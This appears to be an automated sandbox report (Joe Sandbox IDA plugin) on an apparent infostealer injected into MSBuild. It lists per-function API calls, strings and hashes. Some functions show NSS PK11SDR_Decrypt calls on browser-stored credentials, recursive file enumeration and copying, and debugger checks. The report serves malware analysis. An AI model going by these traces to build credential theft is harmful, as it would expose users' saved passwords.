Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 211867f621766a95caffabf033043cc4ca9acff52118b4d2652e4c0ce66b441d
Instruction ID: e84669a988ccc3208f061f9d8a1741e79ab10e9cfbe5818d0151fe2867144cfd
Opcode Fuzzy Hash: 211867f621766a95caffabf033043cc4ca9acff52118b4d2652e4c0ce66b441d
Instruction Fuzzy Hash: 9C91E271E057468FD758CF29C49426AB7E1EB89318F18892FE49AC7A85D730E885CB81

Function 6CAC4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CAC4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC4F2E
moz_xmalloc.MOZGLUE ref: 6CAC4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CAC4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC52E6
Sleep.KERNEL32(00000010), ref: 6CAC5481
free.MOZGLUE(?), ref: 6CAC5498

Strings

(, xrefs: 6CAC5250

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 231e2f8af026b7b585e14109deaa750effb5beeb1fd86dafddc7addb37ed9145
Instruction ID: 57219d6508709e47931b5ff51021eb62125747732439582a50ae912113c579a3
Opcode Fuzzy Hash: 231e2f8af026b7b585e14109deaa750effb5beeb1fd86dafddc7addb37ed9145
Instruction Fuzzy Hash: D1F1C171A18B018FC71ACF39C85062BB7F5AFD6284F05C72EF846A7651DB319846CB91

Function 0040A7D8 Relevance: 15.1, APIs: 10, Instructions: 94stringencryptionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A815
lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
_memmove.LIBCMT ref: 0040A8BB
lstrcatA.KERNEL32(00436803,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC
lstrcatA.KERNEL32(00436803,0043680E,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: K11_$Slotlstrcat$AuthenticateBinaryCryptDecryptFreeInternalString_memmove_memsetlstrlen
String ID:
API String ID: 4058207798-0
Opcode ID: 1891bcd5c6fb706ee7a2ca6f14fce667d0a4f9531b2fb2bc43181c9868374e51
Instruction ID: 6840a1edee0a678d072f141c957fe9f8851952cd016cc76318dbee3efa29773a
Opcode Fuzzy Hash: 1891bcd5c6fb706ee7a2ca6f14fce667d0a4f9531b2fb2bc43181c9868374e51
Instruction Fuzzy Hash: 96316DB1D0421AAFDB10DB54DD849FAB7BCAF08345F5440BAF409E2240E7794E858F66

Function 0040B93F Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 319fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,00436826,?,?,?), ref: 0040B99B
StrCmpCA.SHLWAPI(?,0043743C), ref: 0040B9BC
StrCmpCA.SHLWAPI(?,00437440), ref: 0040B9D6

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001), ref: 0040BE0B

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 0040BE82

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

FindNextFileA.KERNEL32(?,?), ref: 0040BEF1
FindClose.KERNEL32(?), ref: 0040BF05

Strings

\*.*, xrefs: 0040B965

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcat$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 2055012574-1173974218
Opcode ID: c6baec8dede42bc500ec20ccae9a57344d5af887a2db2e42dfdfd69e2bc45522
Instruction ID: dfdd9054e8e3c8b0185b852c24648073469a4092a47d87fcffb0a1ee84dcde0c
Opcode Fuzzy Hash: c6baec8dede42bc500ec20ccae9a57344d5af887a2db2e42dfdfd69e2bc45522
Instruction Fuzzy Hash: 1BE1DB7194012D9BCF21FB26DD4AACDB375AF44309F4100E6A508771A1DB79AFC98F98

Function 6CAB2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAB2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAB2C61

Part of subcall function 6CA64DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA64E5A
Part of subcall function 6CA64DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA64E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAB2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAB2E2D

Part of subcall function 6CA781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CA781DE

Strings

(root), xrefs: 6CAB354F
expected a Time entry, xrefs: 6CAB2E36
ProfileBuffer parse error: %s, xrefs: 6CAB2E3B

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2f1c4f56075da9ba5a5c7c67bbe3d0cb1b046eb5c0ec10a8328eef9e16ba5c16
Instruction ID: e79ff56df94476fe482559c4d9e572bc0718432413f0a63f256e619ef3c70060
Opcode Fuzzy Hash: 2f1c4f56075da9ba5a5c7c67bbe3d0cb1b046eb5c0ec10a8328eef9e16ba5c16
Instruction Fuzzy Hash: AA91C2706087418FC724CF28C49469FB7E4BFC9358F148A1EE59AA7750DB30D989CB92

Function 0040180D Relevance: 12.1, APIs: 8, Instructions: 68sleepthreadCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32(00000000,00000001,80000000), ref: 00401823
SetThreadDesktop.USER32(00000000), ref: 0040182A
GetCursorPos.USER32(?), ref: 0040183A
Sleep.KERNEL32(000003E8), ref: 0040184A
GetCursorPos.USER32(?), ref: 00401859
Sleep.KERNEL32(00002710), ref: 0040186B
Sleep.KERNEL32(000003E8), ref: 00401870
GetCursorPos.USER32(?), ref: 0040187F

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CursorSleep$Desktop$InputOpenThread
String ID:
API String ID: 3283940658-0
Opcode ID: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction ID: 6ce610161f310883e20b46de56f80fe1d7998de54b5bc585690095a2dc5f2f67
Opcode Fuzzy Hash: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction Fuzzy Hash: C9112E32E00209EBEB10EBA4CD89AAF77B9AF44301F644877D501B21A0D7789B41CB58

Function 0042B21C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,0042B885,?,00428636,?,000000BC,?), ref: 0042B25B
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,0042B885,?,00428636,?,000000BC,?), ref: 0042B284
GetACP.KERNEL32(?,?,0042B885,?,00428636,?,000000BC,?), ref: 0042B298

Strings

OCP, xrefs: 0042B23C
ACP, xrefs: 0042B22B

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 8b8a273a3930ebee4ddd036cd7ad8f79dfc837e8178998fce77fef38d8bc2632
Instruction ID: eecd836cae40292c1918a71e94cade317c99e281db5237fc6b012dd2e3373739
Opcode Fuzzy Hash: 8b8a273a3930ebee4ddd036cd7ad8f79dfc837e8178998fce77fef38d8bc2632
Instruction Fuzzy Hash: 9E01D871705716FAEB219B60BC4AF5F33A8DB05358F60409AF501E0194E768CE8196AC

Function 00408048 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Strings

$g@, xrefs: 00408056

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: $g@
API String ID: 4291131564-2623900638
Opcode ID: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction ID: e9494377cad346e2cb6e0c3413faafdb083af89deffb74abb579b147fff80950
Opcode Fuzzy Hash: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction Fuzzy Hash: 7EF03C70101334BBDF315F26DC4CE8B7FA9EF06BA1F100456F949E6250E7724A40DAA1

Function 0041D160 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041D598
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041D5AD
UnhandledExceptionFilter.KERNEL32(0043332C), ref: 0041D5B8
GetCurrentProcess.KERNEL32(C0000409), ref: 0041D5D4
TerminateProcess.KERNEL32(00000000), ref: 0041D5DB

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 55db721a2f023524a9032981c1f56e9b99f3b02c219f8da3c75415065c8ed274
Instruction ID: ab49a1319c91fb35d623437d197054aa9218370bd52e40607a067ea4e103b79d
Opcode Fuzzy Hash: 55db721a2f023524a9032981c1f56e9b99f3b02c219f8da3c75415065c8ed274
Instruction Fuzzy Hash: A821CDB4C01704DFD724DFA9F948A443BB4BF08316F10916AF41887262E7B4D9818F5E

Function 6CAD545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAD8A4B

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 7ee7b19095ce1d61eac348648767e0f92e2ad4cf076459f1148055f700168281
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 9FB1D772E0021A8FDB14CF68CD917E9B7B2EF85314F1902A9D549EB791D730A9C9CB90

Function 6CAD542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAD88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAD925C

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 39d725618a29b8d766079ff33708fc788d7de055ab6a7a627af3b605c36754e9
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 25B1B472E0520A8FDB14CF68CD916EDB7B2EF85314F190269C949EB785D730A9C9CB90

Function 00411E5D Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocBinaryCryptProcessString
String ID:
API String ID: 1871034439-0
Opcode ID: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction ID: cc1f0cdc7ec9addca40c1236ae1a006933468a7893b1c2cc3d15f31d1535d567
Opcode Fuzzy Hash: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction Fuzzy Hash: 3F010C70500309BFDF158FA1DC849AB7BBAFF493A5B248459F90593220E7369E91EA24

Function 0040145B Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000007,00000000,00000004,00000000), ref: 0040146D
NtQueryInformationProcess.NTDLL(00000000), ref: 00401474

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$CurrentInformationQuery
String ID:
API String ID: 3953534283-0
Opcode ID: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction ID: b0d32a7bd978dbc9842abeebd7712166406d741a383243a14520f93e3bb00ea5
Opcode Fuzzy Hash: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction Fuzzy Hash: 23E01271640304F7EF109BA0DD0AF5F72AC9700749F201175A606E60E0D6B8DA009A69

Function 0040DCA0 Relevance: 90.4, APIs: 60, Instructions: 399memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,750A5460,?,00000000), ref: 0040DBBB
Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBCD

GetProcessHeap.KERNEL32(00000008,?,750A5460,?,00000000), ref: 0040DD04
HeapAlloc.KERNEL32(00000000), ref: 0040DD0B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD20
HeapFree.KERNEL32(00000000), ref: 0040DD27
strcpy_s.MSVCRT ref: 0040DD43
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD55
HeapFree.KERNEL32(00000000), ref: 0040DD62
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DD93
HeapFree.KERNEL32(00000000), ref: 0040DD9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DDA1
HeapAlloc.KERNEL32(00000000), ref: 0040DDA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDBD
HeapFree.KERNEL32(00000000), ref: 0040DDC4
strcpy_s.MSVCRT ref: 0040DDDA
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDEC
HeapFree.KERNEL32(00000000), ref: 0040DDF3
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE11
HeapFree.KERNEL32(00000000), ref: 0040DE18
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DE1F
HeapAlloc.KERNEL32(00000000), ref: 0040DE26
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE3B
HeapFree.KERNEL32(00000000), ref: 0040DE42
strcpy_s.MSVCRT ref: 0040DE52
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE64
HeapFree.KERNEL32(00000000), ref: 0040DE6B
